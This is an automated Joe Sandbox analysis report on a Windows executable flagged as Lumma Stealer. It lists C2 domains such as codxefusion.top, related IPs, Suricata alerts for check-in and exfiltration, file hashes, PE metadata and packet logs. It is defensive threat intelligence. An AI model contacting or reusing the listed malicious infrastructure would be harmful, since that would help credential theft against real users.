http://ocsp.rootca1.amazontrust.com0:	9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top/8	9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top:443/apil	9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000121E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top:443/api	9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000121E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://codxefusion.top/pi	9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv209h	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.212.102	codxefusion.top	United States		13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640718
Start date and time:	2025-03-17 16:08:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9uB9RDznXl.exe renamed because original name is a hash value
Original Sample Name:	dfa2ab0714c9f234b63fd1295ce468bd247465701a90b8a9ab9eb3d6d032d258.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@7/2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 4.245.163.56, 20.103.156.88, 150.171.28.10, 2.19.96.115
Excluded domains from analysis (whitelisted): www.bing.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, fs.microsoft.com, slscr.update.microsoft.com, g.bing.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:09:48	API Interceptor	9x Sleep call for process: 9uB9RDznXl.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.212.102	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	nogtpjadthaw.exe	Get hash	malicious	LummaC Stealer	Browse
	cronikxqqq.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	SecuriteInfo.com.Win64.MalwareX-gen.7894.13424.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.24534.32219.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	12Kp1xbcjv.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	FNLJD8Q3.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Nexol.exe.bin.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	GalaxySoft.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
	Install.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	149.154.167.99
	ShadowOF-Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.99
codxefusion.top	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.212.102
	nogtpjadthaw.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.212.102
	fuck122112.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.69.194
	cronikxqqq.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse	172.67.212.102
	d5Wai5fIAK.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.69.194

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	QUOTATION 03664710859027.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	SHANXI Outward Remittance.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Sat#U0131nalma Sipari#U015fi Q4-2025-V5560001.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ALDAKHEEL OUD Order.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pendiente De Transferencia.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	73ybGtnYXx.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	Shipping Documents - SI078534.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Transaction_receipt520.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shipment Document BL,INV and packing list.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	149.154.167.220
	sryxen-built.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	Product Order Hirsch.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	https://www.create.xyz/share/6325b98f-b30d-47ba-9023-722ed2e51a09	Get hash	malicious	Unknown	Browse	104.18.69.40
	https://storage.googleapis.com/dfh7d89fh7df4j65djf4g65j4s6fg7j/031.html#LAst01.html?syb=1x167d493f46630a_vl_b2d.ja6t63xhxq8-0bmkl2j.54qf18g.BOwWGLPM3hoeHE4LTBibWtsMmo0u6Nvi	Get hash	malicious	Phisher	Browse	172.67.73.52
	BVEWWBCB.msi	Get hash	malicious	Unknown	Browse	104.21.112.1
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	172.67.216.168
	https://docs.faxcloudstorage.de/uTN1Q	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PO-0687980-03-2025.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	https://docs.faxcloudstorage.de/uTN1Q	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	TGH09876545678000090.bat.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	4360908095_.svg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	PO#4500550389.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	PO#4500550389.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	S5dpmRJg30.lnk	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	New order 242.xls	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	PO#4500550389.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	SecuriteInfo.com.Win64.MalwareX-gen.7894.13424.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.212.102 149.154.167.99
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.24534.32219.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.212.102 149.154.167.99
	stk.dll	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	12Kp1xbcjv.exe	Get hash	malicious	Unknown	Browse	172.67.212.102 149.154.167.99
	SystemProcess18.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	172.67.212.102 149.154.167.99

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.852022474951185
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	9uB9RDznXl.exe
File size:	7'974'400 bytes
MD5:	accdbd5044408c82c19c977829713e4f
SHA1:	070a001ac12139cc1238017d795a2b43ac52770d
SHA256:	dfa2ab0714c9f234b63fd1295ce468bd247465701a90b8a9ab9eb3d6d032d258
SHA512:	34fe4ec1307e7d45080b6e0fb093eb8f1d43fb71a3e3411e32a5798f9cacc69ea1b82d56fcf9e503dd22c51e9af92fde7c149ac5882af4daab5c3cb906cdeb85
SSDEEP:	98304:fYRhnYdlvIib45D+ZicbrZRutIvD0wi9Q1Tjr+RTO7EC5pqQ5eoQQMgX3Q6jEd8O:5H8QK2GcJL
TLSH:	76866260D0179442E9D2387C9B403ADAF42A28F62E574970760E7E2CFC99918E7F9F17
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7...s...s...s...b...r...8...v...s...o.......r.....k.r.......r...Richs...................PE..L......g...............+..v........

File Icon


Icon Hash:	0f2b397453112b0f

Static PE Info

General

Entrypoint:	0x4014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67C510AF [Mon Mar 3 02:15:11 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2b3730cda46affc8837a7df18591704a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000418h
call 00007FD7B0F9E357h
movzx eax, al
test eax, eax
jne 00007FD7B0F9E30Bh
push 00000001h
call dword ptr [00B6F028h]
nop
call 00007FD7B0F9DFB2h
push 00000104h
lea ecx, dword ptr [ebp-0000020Ch]
push ecx
push 00000000h
call dword ptr [00B6F038h]
lea edx, dword ptr [ebp-00000418h]
push edx
push 00000104h
call dword ptr [00B6F008h]
call 00007FD7B0FB2127h
push 00000001h
call dword ptr [00B6F028h]
nop
mov esp, ebp
pop ebp
retn 0010h
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, dword ptr [ebp-2Ch]
push eax
call dword ptr [00B6F02Ch]
mov ecx, dword ptr [ebp-18h]
mov dword ptr [ebp-04h], ecx
cmp dword ptr [ebp-04h], 02h
jnc 00007FD7B0F9E306h
xor al, al
jmp 00007FD7B0F9E353h
push 00B6F078h
push 00B6F088h
call dword ptr [00B6F03Ch]
push eax
call dword ptr [00B6F040h]
test eax, eax
je 00007FD7B0F9E306h
xor al, al
jmp 00007FD7B0F9E334h
push 00B6F0A4h
call dword ptr [00B6F044h]
mov dword ptr [ebp-08h], eax
cmp dword ptr [ebp-08h], 00000000h
je 00007FD7B0F9E306h
xor al, al
jmp 00007FD7B0F9E31Ch
push 000007D0h
call 00007FD7B0F9E014h
add esp, 04h
movzx edx, al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x76f214	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x771000	0x2b4b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x79d000	0xcbc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x76f0b8	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x76f000	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x76dd2b	0x76de00	f1cb89fa5c9e46045f02e8c15276e5e6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x76f000	0x4d6	0x600	feca90569e92c8e8352a08729f6e2a54	False	0.4537760416666667	data	4.3084225799617855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x770000	0x50	0x200	a6ce571490641746fab3ed64bebe94ea	False	0.044921875	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x771000	0x2b4b0	0x2b600	f24ea25e3a9c418791d2c53d4feebfcd	False	0.13140534942363113	data	4.41940658954128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x79d000	0xcbc	0xe00	ea896715c57611e7b02ea0df87211b1c	False	0.47293526785714285	data	3.89339994868857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x772f20	0x13e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9901729559748428
RT_ICON	0x774300	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.04153850703892109
RT_ICON	0x784b28	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.07649253731343283
RT_ICON	0x78dfd0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	0.09658040665434381
RT_ICON	0x793458	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.08904109589041095
RT_ICON	0x797680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.15435684647302905
RT_ICON	0x799c28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.1925422138836773
RT_ICON	0x79acd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.3094262295081967
RT_ICON	0x79b658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.4370567375886525
RT_MENU	0x771630	0x274	data	0.5509554140127388
RT_MENU	0x7718a8	0x368	data	0.551605504587156
RT_MENU	0x771c10	0x416	data	0.5296367112810707
RT_MENU	0x772028	0x288	data	0.5694444444444444
RT_MENU	0x7722b0	0x2c6	Matlab v4 mat-file (little endian) Y, numeric, rows 5242896, columns 7340119, imaginary	0.5535211267605634
RT_MENU	0x772578	0x300	data	0.5455729166666666
RT_MENU	0x772878	0x2f0	data	0.5558510638297872
RT_MENU	0x772b68	0x1d6	data	0.6063829787234043
RT_DIALOG	0x772d40	0x114	data	0.7282608695652174
RT_STRING	0x79bff0	0x92	data	0.7465753424657534
RT_STRING	0x79c088	0x17e	data	0.6596858638743456
RT_STRING	0x79c208	0x1a2	data	0.6435406698564593
RT_STRING	0x79c3b0	0xfa	data	0.676
RT_ACCELERATOR	0x772e58	0x30	data	0.8958333333333334
RT_ACCELERATOR	0x772e88	0x20	data	1.0625
RT_ACCELERATOR	0x772ea8	0x20	data	1.0625
RT_ACCELERATOR	0x772ec8	0x28	data	0.925
RT_ACCELERATOR	0x772ef0	0x30	data	0.8958333333333334
RT_GROUP_ICON	0x79bac0	0x84	data	0.7272727272727273
RT_VERSION	0x79bb48	0x4a4	data	0.4057239057239057

Imports

DLL	Import
KERNEL32.dll	GetCommandLineA, GetEnvironmentStringsW, GetTempPathW, GetLastError, HeapAlloc, HeapFree, GetProcessHeap, SetCriticalSectionSpinCount, Sleep, GetCurrentProcess, ExitProcess, GetSystemInfo, GetVersion, GetTickCount, GetModuleFileNameW, GetModuleHandleW, GetProcAddress, LoadLibraryW, GlobalAlloc, GlobalFree, MultiByteToWideChar, ConvertDefaultLocale
USER32.dll	IsWindowVisible, GetWindowContextHelpId, MessageBoxA, GetWindowLongW, IsDialogMessageW, RegisterClassW

Version Infos

Description	Data
Comments	This program's analytics tools provide valuable insights into my performance
CompanyName	TechSphere Enterprises Technologies.
FileDescription	This program's analytics tools provide valuable insights into my performance
FileVersion	9.1.22.897
InternalName	TaskForgeApp
LegalCopyright	Copyright (C) 2022-2025 by TechSphere Enterprises Technologies.
OriginalFilename	CodeBridge.exe
ProductName	Task Manager DeLuxe
ProductVersion	9.1.22.897
Translation	0x0409 0x04b0

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-17T16:09:48.153843+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	149.154.167.99	443	TCP
2025-03-17T16:09:48.465149+0100	2060545	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardswarehub .today)	1	192.168.2.5	60466	1.1.1.1	53	UDP
2025-03-17T16:09:48.477052+0100	2060538	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gadgethgfub .icu)	1	192.168.2.5	50858	1.1.1.1	53	UDP
2025-03-17T16:09:48.487397+0100	2060542	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardrwarehaven .run)	1	192.168.2.5	63369	1.1.1.1	53	UDP
2025-03-17T16:09:48.506277+0100	2060565	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (techmindzs .live)	1	192.168.2.5	58730	1.1.1.1	53	UDP
2025-03-17T16:09:48.520822+0100	2060530	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (codxefusion .top)	1	192.168.2.5	55483	1.1.1.1	53	UDP
2025-03-17T16:09:49.337598+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.337598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.474583+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.474583+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.938568+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49724	172.67.212.102	443	TCP
2025-03-17T16:09:49.938568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	172.67.212.102	443	TCP
2025-03-17T16:09:50.518726+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49724	172.67.212.102	443	TCP
2025-03-17T16:09:51.685393+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49725	172.67.212.102	443	TCP
2025-03-17T16:09:51.685393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49725	172.67.212.102	443	TCP
2025-03-17T16:09:52.749356+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49726	172.67.212.102	443	TCP
2025-03-17T16:09:52.749356+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49726	172.67.212.102	443	TCP
2025-03-17T16:09:54.001942+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49727	172.67.212.102	443	TCP
2025-03-17T16:09:54.001942+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	172.67.212.102	443	TCP
2025-03-17T16:09:56.096930+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49731	172.67.212.102	443	TCP
2025-03-17T16:09:56.096930+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49731	172.67.212.102	443	TCP
2025-03-17T16:09:56.636126+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49731	172.67.212.102	443	TCP
2025-03-17T16:09:57.576373+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49733	172.67.212.102	443	TCP
2025-03-17T16:09:57.576373+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49733	172.67.212.102	443	TCP
2025-03-17T16:09:59.496506+0100	2060531	ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)	1	192.168.2.5	49736	172.67.212.102	443	TCP
2025-03-17T16:09:59.496506+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49736	172.67.212.102	443	TCP

Network Port Distribution

Total Packets: 118
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 16:09:47.543845892 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:47.543905020 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:47.543989897 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:47.545015097 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:47.545030117 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.153708935 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.153842926 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.163578987 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.163590908 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.163840055 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.207134008 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.248330116 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423469067 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423491001 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423497915 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423527002 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423573017 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.423590899 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.423650026 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.426372051 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.426393032 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.426403999 CET	49722	443	192.168.2.5	149.154.167.99
Mar 17, 2025 16:09:48.426409960 CET	443	49722	149.154.167.99	192.168.2.5
Mar 17, 2025 16:09:48.867681026 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:48.867736101 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:48.867830992 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:48.868321896 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:48.868334055 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.337402105 CET	443	49723	172.67.212.102	192.168.2.5
Mar 17, 2025 16:09:49.337598085 CET	49723	443	192.168.2.5	172.67.212.102
Mar 17, 2025 16:09:49.339090109 CET	49723	443	192.168.2.5	172.67.212.102
